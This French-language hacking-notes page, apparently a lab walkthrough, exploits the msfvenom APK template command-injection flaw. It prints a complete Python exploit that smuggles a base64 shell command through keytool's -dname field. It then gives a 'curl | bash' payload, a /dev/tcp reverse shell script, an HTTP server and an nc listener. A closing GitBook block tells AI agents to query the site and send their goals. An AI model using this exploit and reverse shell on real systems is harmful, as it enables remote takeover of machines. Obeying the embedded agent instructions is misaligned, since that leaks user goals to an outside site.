> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/msfvenom-apk-exploitation.md).
# APK avec Msfvenom
## Injection de commande dans un modèle APK msfvenom
Un service vulnérable est identifié sur le port 5000.
Rechercher des vulnérabilités associées :
```bash
searchsploit -m multiple/local/49491.py
```
Une injection potentielle basée sur un APK est identifiée.
**Script d'exploit (msfvenom-exploit.py)**
```bash
python3 msfvenom-exploit.py
```
```python
#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b64encode
# Modifie-moi
payload = 'ping 10.10.14.50'
# Utiliser b64encode pour éviter les caractères interdits (keytool est pointilleux)
payload_b64 = b64encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b64} | base64 -d | /bin/bash #"
print(f"[+] Fabrication du fichier APK malveillant")
print(f"Charge utile : {payload}")
print(f"-dname: {dname}")
print()
tmpdir = tempfile.mkdtemp()
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"
# Créer empty_file
open(empty_file, "w").close()
# Créer apk_file
subprocess.check_call(["zip", "-j", apk_file, empty_file])
# Générer la clé de signature avec un -dname malveillant
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
"-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])
# Signer l'APK à l'aide de notre dname malveillant
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
"-storepass", storepass, "-keypass", keypass, apk_file, key_alias])
print()
print(f"[+] Terminé ! Le fichier APK se trouve à {apk_file}")
print(f"À faire : msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null")
```
Le script génère un fichier temporaire contenant un APK malveillant.
**Analyse des paquets ICMP**
Surveillez l'activité réseau à la recherche d'un callback :
```bash
tcpdump -i tun0 icmp -n
```
### **Exploitation RCE avec Msfvenom**
Modifiez la charge utile pour établir une connexion inverse :
```bash
# Modifie-moi
payload = 'curl 10.10.14.50 | bash'
```
Créer un `index.html` fichier contenant :
```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```
Démarrer un serveur HTTP :
```bash
python3 -m http.server 80
```
Puis écoutez la connexion sur le port 443 :
```bash
nc -nlvp 443
```
Une fois l'APK envoyé et exécuté sur la cible, un shell distant est obtenu.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/fr/cms/msfvenom-apk-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.